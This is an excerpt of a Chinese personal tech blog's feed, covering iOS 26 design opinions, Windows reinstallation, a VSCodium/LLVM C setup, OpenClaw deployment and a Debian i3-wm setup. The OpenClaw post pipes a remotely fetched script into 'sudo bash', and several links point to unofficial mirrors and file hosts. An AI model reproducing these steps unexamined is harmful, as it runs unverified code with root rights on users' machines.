&lt;p&gt;一开始看到的最多的是ios26的系统的发布，手机作为日常不离手的通讯工具，这个肯定是最收关注的。但是这种东西对于我来说其实是很无感的，毕竟就像Windows7换成Windows10，我反而会更喜欢Windows10一点，有可能是觉得平面的性能更好的缘故吧，但是在经历过很多的IDE洗礼之后我反而是更关注性能与视觉上的清晰——也就是文字的观感。在很多IDE上面其中背景的颜色以及文字的高亮都是可以调整的，但是在我自己瞎鼓捣的时候就很容易出现文字颜色和背景颜色十分相近而看不清楚的情况。&lt;/p&gt;
&lt;p&gt;所以在一开始ios26 Beta版本刚刚出来的时候我其实是十分不理解苹果的用意的，因为手机作为一个再平常不过的通讯工具，喜欢玩游戏的注意的是游戏内容，喜欢社交的更注意和朋友之间的关系，很多人对于系统升级其实是无感的，毕竟很多年轻人都是上手即用，都不存在学习成本的，但是中年人和老年人却觉得界面陌生，甚至有人还会觉得手机会被淘汰的更快。与我而言这其实是对于我的一种煎熬，虽然我不使用，但是对于安卓也是一种影响，后来升级之后性能降低，续航减弱，也让我对这个设计语言充满着排斥和敌意。&lt;/p&gt;
&lt;p&gt;最近ios26的公测版和正式版陆续发布，我发现之前在Beta版中的问题都得到了解决，这也是我第一次对于质感有点感觉，毕竟之前一直是觉得Google的Material UI十分的好，甚至根本就不需要高斯模糊，有这观感留给性能和续航不好吗？但是苹果用玻璃确实是玩出了真真正正的层级的感觉，例如解锁的时候，上滑之后就像是一扇从下而上的打开，整个视觉逻辑更强了，使得交互动画的意义更强了。&lt;/p&gt;
&lt;h2&gt;Liquid Glass 和 Windows 7 一个设计语言是不是过时了？&lt;/h2&gt;
&lt;p&gt;我觉得不会，毕竟在黑暗模式上面苹果已经证实了自己封闭的实力。不到一年时间，几乎全部的应用都已经吃上了黑暗模式，这个速度比安卓很多都要厂商用系统去强行将浅色模式应用改变成黑暗模式更彻底。毕竟是Swift，统一的标准执行起来确实速度是没话说的。&lt;/p&gt;
&lt;p&gt;交互上面已经能够达到动画和外观的显示方式符合视觉逻辑，并且拥有自己的Swift语言，后面可能应用适配上面出现性能问题等，但是苹果应该是有能力去解决的。毕竟软件对于系统版本都卡的这么严，优化上比安卓这种要兼容各家系统的肯定是更快速，更轻松了。&lt;/p&gt;
&lt;h2&gt;用续航和性能换得质感——我的看法&lt;/h2&gt;
&lt;p&gt;我知道，这是所有手机用户纠结的一个问题，而且至今，甚至是未来都不会有定论的一个问题，或者说是阴谋论。如果说抛开负优化等厂商能主观决定的事情，只是将这个系统完美的适配到你手机上，和原系统相比，一定是不如原系统的，但是如果没有这个参照的话，其实你也感觉不出来很明显的差距了。但是升级的权力在用户手上，而且升与不升也不是考试的是非对错。&lt;/p&gt;
&lt;p&gt;不过在于我这样一个喜欢Windows只用LTSC版本，安卓拿到手第一件事情关闭甚至卸载系统更新软件的人看来，这个答案已经不言而喻了。虽然我一个从ios15开始就换到红米的人来说，对于苹果的系统的确是没有什么发言权了，而且系统质量上面，苹果一定也是优于小米的，但是这也只是我的一点点看法，或许经历过什么重大变更之后或许也能觉得手机的安全比性能更重要，就像我当初从Windows精简版变成使用Windows LTSC版本，所以适合自己的，往往需要自己的经历去决定，尊重绝对的数据结论有的时候未必不是一种盲从呢？&lt;/p&gt;
</content:encoded></item><item><title>Windows系统重装</title><link>https://ivoinkwell.xyz/posts/specks/windows-reinstall/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/windows-reinstall/</guid><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;借着我朋友重装系统的机会，讲述一下我重装系统的过程。&lt;/p&gt;
&lt;h2&gt;准备&lt;/h2&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;1个16G的空U盘（&lt;strong&gt;或者&lt;/strong&gt;是里面数据备份好的U盘）&lt;/li&gt;
&lt;li&gt;一个&lt;a href=&quot;https://www.wepe.com.cn/download.html&quot;&gt;WePE工具箱的软件程序&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://winnew.cn/&quot;&gt;Windows原版系统镜像&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.neatdownloadmanager.com/file/NeatDM_setup.exe&quot;&gt;下载工具（可选）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;电脑的驱动程序及其所需要的软件&lt;/li&gt;
&lt;li&gt;备份好电脑中所有需要的数据&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;准备好这些之后就可以主备开始安装系统了&lt;/p&gt;
&lt;h2&gt;启动盘&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;将PE写进U盘&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;打开WePE软件，点击红框中的选项：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/windows-reinstall/image-20250906214520032.webp&quot; alt=&quot;image-20250906214520032&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在待写入U盘的地方选择准备好的空U盘（&lt;strong&gt;或&lt;/strong&gt;刚刚已经备份好数据的U盘），这个过程会将U盘的数据全部清除，注意&lt;strong&gt;备份&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/windows-reinstall/image-20250906214606058.webp&quot; alt=&quot;image-20250906214606058&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这个时候，资源管理器上会出现一个空的微PE工具箱，打开并将系统镜和电脑驱动程序放入PE：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/windows-reinstall/image-20250906221636954.webp&quot; alt=&quot;image-20250906221636954&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;进入PE，安装系统&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;使用DiskGenius快速格式化系统硬盘（几个分区以及分区大小看个人喜好）：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;MBR：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/windows-reinstall/image-20250906222030355.webp&quot; alt=&quot;image-20250906222030355&quot; /&gt;&lt;/p&gt;
&lt;p&gt;GPT（不管保留ESP分区显不显示，都按照这个方法）：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/windows-reinstall/image-20250906222155432.webp&quot; alt=&quot;image-20250906222155432&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用WinNTSetup安装镜像（按照提示选择就可以）：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/windows-reinstall/image-20250906222509009.webp&quot; alt=&quot;image-20250906222509009&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;最后&lt;/h2&gt;
&lt;p&gt;重启之后正常进入Windows系统，我使用的一直是LTSC版本，如果家庭版和专业版在安装网卡驱动的地方不能使用本地账户先进入再打驱动的话直接选择所有驱动所在的文件夹即可直接打上所有驱动，所以驱动也尽量放在PE盘中。&lt;/p&gt;
</content:encoded></item><item><title>LLVM+VS Codium搭建C语言开发环境</title><link>https://ivoinkwell.xyz/posts/specks/llvm-codium-c-development/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/llvm-codium-c-development/</guid><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;经历&lt;/h2&gt;
&lt;p&gt;在很长一段时间，我使用的都是MiniGW的gcc作为编译器，使用Vs Code作为编辑器，安装插件C/C++之后对程序进行编译运行。但是时间长了我发现很多问题并不能像CLion那个样子标红以及语句的补全，而且体积也不小。CLion现在虽然现在非商业授权可以免费使用，但是体积我没有办法接受。Dev C++我实在不喜欢单文件的编辑模式。为了不继续使用大型的IDE，VS和CLion。我开始在GitHub上面寻找VS Code的替代品，希望能找到一个轻量一点的。&lt;/p&gt;
&lt;h3&gt;VS Codium&lt;/h3&gt;
&lt;p&gt;偶然间，发现了VS   Codium，这是一个开源版本的VS Code，插件源都是开源的。虽然少了很多VS Code上面好多闭源的功能，但是换得了更小的体积和更自由的定制方案。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://bgithub.xyz/VSCodium/vscodium/releases&quot;&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/llvm-codium-c-development/image-20250811181424324.webp&quot; alt=&quot;image-20250811181424324&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我最不喜欢的就是VS Code那每次启动都需要更新，所以我更愿意选择***&lt;a href=&quot;https://bgithub.xyz/VSCodium/vscodium/releases/download/1.103.05312/VSCodium-x64-updates-disabled-1.103.05312.msi&quot;&gt;updates disable&lt;/a&gt;***的版本&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;插件源&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;插件源&lt;code&gt;open-vsx.org&lt;/code&gt;不是不能使用，而是很多的插件下载几乎就是龟速，所以有没有一种可能就是我能使用VS Code的插件源网址去下载呢？&lt;/p&gt;
&lt;p&gt;于是我找到了这篇知乎文章：&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;&lt;a href=&quot;https://zhuanlan.zhihu.com/p/276000982&quot;&gt;设置vscodium采用微软官方扩展源&lt;/a&gt;&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;我这里只放上需要替换的部分(搜索替换即可)：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;extensionsGallery&quot;: {
    &quot;serviceUrl&quot;: &quot;https://marketplace.visualstudio.com/_apis/public/gallery&quot;,
    &quot;itemUrl&quot;: &quot;https://marketplace.visualstudio.com/items&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;LLVM&lt;/h3&gt;
&lt;p&gt;因为CLion的安装文件太大，当时没忍住好奇打开目录看了看，看到了这个奇怪的名字，于是查了一下，发现还不简单。包含一个编译器clang和一个前端clangd，clangd是可以配合插件clangd一起使用可以实现CLion那样的报错显示效果。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Windows直接安装使用LLVM&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在Github上面有LLVM的官方仓库，里面是有Windows版本的，但是会出现缺少C标准库的问题，尝试按照网上方法将gcc的目录复制进LLVM目录里面，但是依旧没有办法解决问题，所以直接使用***&lt;a href=&quot;https://bgithub.xyz/mstorsjo/llvm-mingw/releases&quot;&gt;llvm-mingw&lt;/a&gt;***中的内容，直接就可以使用clang编译执行和clangd的前端显示。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;添加路径&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;解压出来里面的内容可能较多，但是和LLVM一样，直接添加bin文件的路径即可。&lt;/p&gt;
&lt;h3&gt;VS Codium插件安装以及配置&lt;/h3&gt;
&lt;p&gt;这里需要两个插件，分别是&lt;code&gt;Code Runner&lt;/code&gt;和&lt;code&gt;Clangd&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;配置&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Code Runner&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Code Runner编译C和C++的时候主要会出现两个问题在Windows上面，一个是默认使用gcc，另一个是编码格式会出问题，以至于终端的IO（输入输出）操作出现问题，所以要在&lt;code&gt;settings.json&lt;/code&gt;文件中编写一下的配置，默认使用C使用clang编译运行，C++使用clang++运行，默认输出字符类型是utf-8:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  &quot;code-runner.executorMap&quot;: {
    &quot;c&quot;: &quot;cd $dir &amp;amp;&amp;amp; clang $fileName -fexec-charset=UTF-8 -o $fileNameWithoutExt &amp;amp;&amp;amp; $dir$fileNameWithoutExt&quot;,
    &quot;cpp&quot;: &quot;cd $dir &amp;amp;&amp;amp; clang++ $fileName -fexec-charset=UTF-8 -o $fileNameWithoutExt &amp;amp;&amp;amp; $dir$fileNameWithoutExt&quot;,
    &quot;makefile&quot;: &quot;cd $dir &amp;amp;&amp;amp; make -s TARGET=$fileNameWithoutExt &amp;amp;&amp;amp; ./$fileNameWithoutExt&quot;
  },
  // 开发时推荐设置
  &quot;code-runner.saveFileBeforeRun&quot;: true,  // 防止忘记保存
  &quot;code-runner.runInTerminal&quot;: true,       // 支持交互
  &quot;code-runner.clearPreviousOutput&quot;: false,// 终端模式下不影响
  
  // 调试输出时可选的临时设置
  // &quot;code-runner.runInTerminal&quot;: false,  // 禁用终端
  // &quot;code-runner.clearPreviousOutput&quot;: true  // 每次运行清理输出
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;调试&lt;/h3&gt;
&lt;p&gt;可以使用以下程序对其进行调试：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;

int main(void){
    printf(&quot;Hello World!\n&quot;);
    printf(&quot;你好世界！\n&quot;);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
using namespace std;

int main(void){
    cout &amp;lt;&amp;lt; &quot;Hello World&quot; &amp;lt;&amp;lt; endl;
    cout &amp;lt;&amp;lt; &quot;你好世界！&quot; &amp;lt;&amp;lt; endl;
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;运行结果：终端输出&lt;code&gt;Hello World！&lt;/code&gt;和&lt;code&gt;你好世界！&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>openclaw(clawbot)部署笔记</title><link>https://ivoinkwell.xyz/posts/specks/openclaw-clawbot-deployment/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/openclaw-clawbot-deployment/</guid><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;简述&lt;/h2&gt;
&lt;p&gt;在开始进行部署之前，一定要准备好环境。首先就是Linux，如果是使用Linux系统一定要选择systemd的，要不然部署上会出现网关不可达等一系列问题。在部署的时候出现了很多的问题，重复了很多次，没做截图，所以以下内容只能用文字的形式进行表述。&lt;/p&gt;
&lt;h2&gt;系统硬件限制&lt;/h2&gt;
&lt;p&gt;由于是JavaScript的东西，所以对于内存要求有一定的限制，尽管空载时是0.6G，但是在启动的时候依然还是需要2G的内存去支撑运行。&lt;/p&gt;
&lt;h2&gt;基础组件安装&lt;/h2&gt;
&lt;p&gt;Clawdbot依赖于Node.js运行，也需要npm包管理器，所以这两个组件需要安装，但是版本要&lt;code&gt;&amp;gt;=22&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;我是用的是Debian 13进行安装，因为官方的仓库源是默认的版本是20，所以我们需要去添加Node.js官方的软件源去安装。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 1. 更新系统并安装依赖
sudo apt update
sudo apt install -y curl gnupg ca-certificates

# 2. 下载并添加 NodeSource 仓库密钥
curl -fsSL https://deb.nodesource.com/setup_22.x | sudo bash -

# 3. 安装 Node.js 22
sudo apt install -y nodejs

# 4. 验证安装
node --version
npm --version
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;更换npm软件源&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;更换淘宝源&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npm config set registry https://registry.npmmirror.com/
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;openclaw&lt;/h2&gt;
&lt;h3&gt;安装&lt;/h3&gt;
&lt;p&gt;终端中输入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npm i -g openclaw
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;首次配置&lt;/h3&gt;
&lt;p&gt;终端输入：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;openclaw onboard
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;tips: 如果只是部署体验，API可以使用ZAI的flash模型，全部是免费的，但是效果会差强人意&lt;/h4&gt;
</content:encoded></item><item><title>Debian12+i3-wm</title><link>https://ivoinkwell.xyz/posts/linux-exploration/debian12-i3-wm/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/linux-exploration/debian12-i3-wm/</guid><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;简介&lt;/h2&gt;
&lt;p&gt;最近一直在使用Debian12的Xfce桌面，学习Python爬虫的时候电脑性能不够，在开启一个哔哩哔哩和VScode之后就已经卡的不行了，下面我就用这台电脑讲解一下我安装和美化i3-wm的经历。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic1.zhimg.com/v2-117f726fbf10ff2c8137bb5e7b9846d2_1440w.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;电脑的配置，以及安装i3-wm后的效果&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Debian12的安装&lt;/h2&gt;
&lt;p&gt;我不会用命令行安装Debian12的live版本，所以就使用耗时较长的netinst版本进行安装&lt;/p&gt;
&lt;h3&gt;镜像下载与写入&lt;/h3&gt;
&lt;p&gt;点击&lt;a href=&quot;https://cdimage.debian.org/debian-cd/current/amd64/iso-cd/debian-12.5.0-amd64-netinst.iso&quot;&gt;此链接&lt;/a&gt;即可下载镜像。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;在Windows系统上&lt;/strong&gt;，使用Rufus工具写入，此为标准版&lt;a href=&quot;https://github.com/pbatard/rufus/releases/download/v4.5/rufus-4.5.exe&quot;&gt;下载链接&lt;/a&gt;。在Linux和Windows系统都可以使用的是ventoy，&lt;a href=&quot;https://www.lanzoui.com/i5ETa219q9qj&quot;&gt;Windows下载&lt;/a&gt; &lt;a href=&quot;https://www.lanzoui.com/iIzVH219q9dg&quot;&gt;Linux下载&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;如果电脑不可以使用，手边正好有一部安卓手机的可以尝试&lt;a href=&quot;http://x1.ydyspc.com/etchdroid.apk&quot;&gt;下载EtchDroid&lt;/a&gt;，在手机上写镜像。&lt;/p&gt;
&lt;h3&gt;Debian12网络安装与注意事项&lt;/h3&gt;
&lt;p&gt;正常引导并进入，正常选择即可。在选择镜像源的时候建议选择清华的，我多次安装只有清华源每次都正常。&lt;/p&gt;
&lt;p&gt;选择完软件源后就会出现桌面选择的界面，这里只选择最后一项，也就是标准系统工具即可。&lt;/p&gt;
&lt;h2&gt;i3-wm的安装与配置&lt;/h2&gt;
&lt;p&gt;在进入本地系统后就是类似于终端的界面，这里&lt;em&gt;&lt;strong&gt;用户名填root&lt;/strong&gt;&lt;/em&gt;，密码就是你自己设置的&lt;strong&gt;管理员密码&lt;/strong&gt;，&lt;strong&gt;并非用户密码&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;安装&lt;/h3&gt;
&lt;p&gt;所需要的软件有：&lt;/p&gt;
&lt;p&gt;sudo（普通用户调用管理员权限）&lt;/p&gt;
&lt;p&gt;lightdm （登录管理器）&lt;/p&gt;
&lt;p&gt;i3（i3的所有软件包，只想要窗口管理器的可以选择i3-wm）&lt;/p&gt;
&lt;p&gt;Thunar / ranger（文件管理器，thunar是图形界面，ranger是命令行，自行选择即可）&lt;/p&gt;
&lt;p&gt;xfce4-terminal / Alacritty （都为终端，xfce4-terminal具有图形界面，自行选择即可）&lt;/p&gt;
&lt;p&gt;rofi（图形化drun）&lt;/p&gt;
&lt;p&gt;picom（轻量级窗口管理特效的首选）&lt;/p&gt;
&lt;p&gt;i3-gaps （i3窗口界面，安装i3的直接跳过即可，只安装i3-wm的需要安装）&lt;/p&gt;
&lt;p&gt;i3lock（i3锁屏界面，自行选择是否安装。安装i3的自带）&lt;/p&gt;
&lt;p&gt;i3stauts（i3bar中显示时间，电量等信息的小组件。安装i3自带）&lt;/p&gt;
&lt;p&gt;network-manager-gnome（gnome网络管理器，用于切换WiFi网络）&lt;/p&gt;
&lt;p&gt;xfce4-power-manager（电源管理器）&lt;/p&gt;
&lt;p&gt;blueman（蓝牙管理器）&lt;/p&gt;
&lt;p&gt;volumeicon-alsa（声音控制）&lt;/p&gt;
&lt;p&gt;lxappearance（界面外观更换）&lt;/p&gt;
&lt;p&gt;feh（更换壁纸工具）&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;只需要输入：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt install sudo lightdm i3 ranger alacritty rofi  picom network-manager-gnome xfce4-power-manager blueman volumeicon-alsa lxappearance feh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;普通用户使用sudo&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo usermod -aG sudo username
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;执行完成后输入重启命令即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;reboot
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;i3的常用快捷键&lt;/h3&gt;
&lt;p&gt;刚进桌面时会让你选择快捷键的Mod键是&lt;strong&gt;Windows徽标键&lt;/strong&gt;或&lt;strong&gt;Ctrl键&lt;/strong&gt;，自行选择即可。&lt;/p&gt;
&lt;p&gt;$mod + Enter 启动虚拟终端&lt;/p&gt;
&lt;p&gt;$mod + A 焦点转义到父窗口上&lt;/p&gt;
&lt;p&gt;$mod + S 堆叠布局&lt;/p&gt;
&lt;p&gt;$mod + W 标签布局&lt;/p&gt;
&lt;p&gt;$mod + E 默认布局 连续按下 可以从 纵向排列和竖向排列之间 来回切换&lt;/p&gt;
&lt;p&gt;$mod + SpaceBar 焦点在平铺式／浮动式转换&lt;/p&gt;
&lt;p&gt;$mod + Shift + SpaceBar 窗口在平铺式／浮动式转换&lt;/p&gt;
&lt;p&gt;$mod + shift + &amp;lt;数字键&amp;gt; 将当前程序发送到指定window&lt;/p&gt;
&lt;p&gt;$mod + &amp;lt;方向键&amp;gt; 移动鼠标到焦点&lt;/p&gt;
&lt;p&gt;$mod + shift + &amp;lt;方向键&amp;gt; 移动窗口位置&lt;/p&gt;
&lt;p&gt;$mod + D 启动 dmenu&lt;/p&gt;
&lt;p&gt;$mod + H 水平分割窗口&lt;/p&gt;
&lt;p&gt;$mod + V 垂直分割窗口&lt;/p&gt;
&lt;p&gt;$mod + J 焦点往左窗口移&lt;/p&gt;
&lt;p&gt;$mod + K 焦点往下窗口移&lt;/p&gt;
&lt;p&gt;$mod + L 焦点往上窗口移&lt;/p&gt;
&lt;p&gt;$mod + ; 焦点往右窗口移&lt;/p&gt;
&lt;p&gt;$mod + Shift + Q 杀死当前窗口的进程&lt;/p&gt;
&lt;p&gt;$mod + Shift + E 退出 i3&lt;/p&gt;
&lt;p&gt;$mod + Shift + C 当场重新加载 i3config, 无需重启&lt;/p&gt;
&lt;p&gt;$mod + Shift + R 重启 i3 （还重新加载了 i3config, 又没有退出过程）&lt;/p&gt;
&lt;p&gt;$mod + &amp;lt;数字键&amp;gt; 切换window&lt;/p&gt;
&lt;p&gt;$mod + F 焦点窗口全屏&lt;/p&gt;
&lt;p&gt;可在i3配置中更换快捷键对应操作&lt;/p&gt;
&lt;h3&gt;i3的配置与配置文件&lt;/h3&gt;
&lt;p&gt;配置文件位置在&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./home/username/.config/i3/config
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;username位置填自己的用户名即可。&lt;em&gt;&lt;strong&gt;.config是隐藏文件夹，用Ctrl+H键显示。&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;ranger中文件位置&lt;/p&gt;
&lt;p&gt;将这几条添加进去即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;exec --no-startup-id fcitx
exec --no-startup-id xfce4-power-manager
exec --no-startup-id volumeicon
exec --no-startup-id blueman
exec --no-startup-id /usr/lib/policykit-1-gnome/polkit-gnome-authentication-agent-1
new_window none
new_float none
hide_edge_borders both #隐藏窗口边框
gaps inner 8
gaps outer 6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;更改dmenu&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic2.zhimg.com/v2-dc4a518cc7bf3bb93a9d811a5835bd7d_1440w.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;将原本配置文件改成这样即可&lt;/p&gt;
&lt;p&gt;mod + Shift + R 重启 i3&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;picom配置透明窗口，渐变动画&lt;/p&gt;
&lt;p&gt;文件位置（如果没有新建即可）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./home/username/.config/picom.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是我的配置文件:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#################################
#             Shadows           #
#################################
# 在 Windows 上启用客户端阴影。注意桌面窗口
# (windows with &apos;_NET_WM_WINDOW_TYPE_DESKTOP&apos;) 永远不会有阴影，
# 除非使用 wintypes 选项明确要求。
#
# shadow = false
shadow = false;
# 阴影的模糊半径，以像素为单位。 （默认为 12）
# shadow-radius = 12
shadow-radius = 7;
# 阴影的不透明度。 （0.0 - 1.0，默认为 0.75）
# shadow-opacity = .75
# 阴影的左偏移，以像素为单位。 （默认为 -15）
# shadow-offset-x = -15
shadow-offset-x = -7;
# 阴影的顶部偏移量，以像素为单位。 （默认为 -15）
# shadow-offset-y = -15
shadow-offset-y = -7;
# 阴影的红色值（0.0 - 1.0，默认为 0）。
# shadow-red = 0
# 阴影的绿色值（0.0 - 1.0，默认为 0）。
# shadow-green = 0
# 阴影的蓝色值（0.0 - 1.0，默认为 0）。
# shadow-blue = 0
# 阴影的十六进制字符串颜色值（#000000 - #FFFFFF，默认为#000000）。此选项将覆盖选项集阴影-（红色/绿色/蓝色）
# shadow-color = &quot;#000000&quot;
# 指定不应该有阴影的窗口的条件列表。
#
# examples:

#   shadow-exclude = &quot;n:e:Notification&quot;;

#

# shadow-exclude = []

shadow-exclude = [
  &quot;name = &apos;Notification&apos;&quot;,
  &quot;class_g = &apos;Conky&apos;&quot;,
  &quot;class_g ?= &apos;Notify-osd&apos;&quot;,
  &quot;class_g = &apos;Cairo-clock&apos;&quot;,
  &quot;_GTK_FRAME_EXTENTS@:c&quot;
];
# 指定不应覆盖阴影的窗口条件列表，例如停靠窗口。
# clip-shadow-above = []
# 指定一个 X 几何图形来描述不应该出现阴影的区域
# 被绘制在，比如一个停靠窗口区域。采用
# shadow-exclude-reg u003d &quot;x10+0+0&quot;
# 例如，如果屏幕底部的 10 个像素不应绘制阴影。
#
# shadow-exclude-reg = &quot;&quot;
# 在特定的 Xinerama 屏幕上将窗口的阴影完全裁剪到屏幕上。
# xinerama-shadow-crop = false

#################################
#           Fading              #
#################################
# 在打开/关闭和不透明度变化时淡入/淡出窗口，
#  unless no-fading-openclose is used.
# fading = false
fading = true;

# 淡入时步骤之间的不透明度变化。（0.01 - 1.0，默认为 0.028）
# fade-in-step = 0.028

fade-in-step = 0.03;
# 淡出时步骤之间的不透明度变化。 （0.01 - 1.0，默认为 0.03）
# fade-out-step = 0.03

fade-out-step = 0.03;
# 淡入淡出步骤之间的时间，以毫秒为单位。 （&amp;gt; 0，默认为 10）
# fade-delta = 10
# 指定不应褪色的窗口条件列表。
# fade-exclude = []
# 不要在窗口打开/关闭时淡入淡出。
# no-fading-openclose = false
# 不要使用 WM 框架淡化被破坏的 ARGB 窗口。解决 Openbox、Fluxbox 等中的错误。
# no-fading-destroyed-argb = false

#################################

#   Transparency / Opacity      #

#################################
# 非活动窗口的不透明度。 （0.1 - 1.0，默认为 1.0）
# inactive-opacity = 1

inactive-opacity = 0.5;

# 窗口标题栏和边框的不透明度。 （0.1 - 1.0，默认禁用）
# frame-opacity = 1.0

frame-opacity = 0.8;

# 让 -i 设置的非活动不透明度覆盖窗口的 &apos;_NET_WM_WINDOW_OPACITY&apos; 值。
# inactive-opacity-override = true

inactive-opacity-override = false;

# 活动窗口的默认不透明度。 （0.0 - 1.0，默认为 1.0）

active-opacity = 0.8

# 使非活动窗口变暗。 （0.0 - 1.0，默认为 0.0）
# inactive-dim = 0.0
# 指定不应该被视为焦点的窗口的条件列表。
# focus-exclude = []

focus-exclude = [ &quot;class_g = &apos;Cairo-clock&apos;&quot; ];

# 使用固定的非活动暗度值，而不是根据窗口不透明度进行调整。
# inactive-dim-fixed = 1.0
# 指定不透明度规则列表，格式为 `PERCENT:PATTERN`,
# 像 `50:name *u003d &quot;Firefox&quot;`。建议使用 picom-trans。
# 请注意，我们不保证可能与其他人发生冲突
# 在框架或客户端窗口上设置“_NET_WM_WINDOW_OPACITY”的程序。
# example:
#    opacity-rule = [ &quot;80:class_g = &apos;URxvt&apos;&quot; ];
#
# opacity-rule = []

#################################
#           Corners             #
#################################

# 设置圆角窗口角的半径。当 &amp;gt; 0 时，合成器将
# 圆窗户的角落。不能很好的互动
# `transparent-clipping`.
corner-radius = 0

# 排除圆角的条件。

rounded-corners-exclude = [
  &quot;window_type = &apos;dock&apos;&quot;,
  &quot;window_type = &apos;desktop&apos;&quot;
];

#################################
#     Background-Blurring       #
#################################
# 背景模糊的参数，请参阅 *BLUR* 部分了解更多信息。
# blur-method =
# blur-size = 12
#
# blur-deviation = false
#
# blur-strength = 5
# 模糊半透明/ARGB 窗口的背景。
# 性能不佳，具有依赖于驱动程序的行为。
# 交换机名称可能会更改，恕不另行通知。
#
# blur-background = false
# 当窗口框架不透明时模糊窗口的背景。
# Implies:
#    blur-background
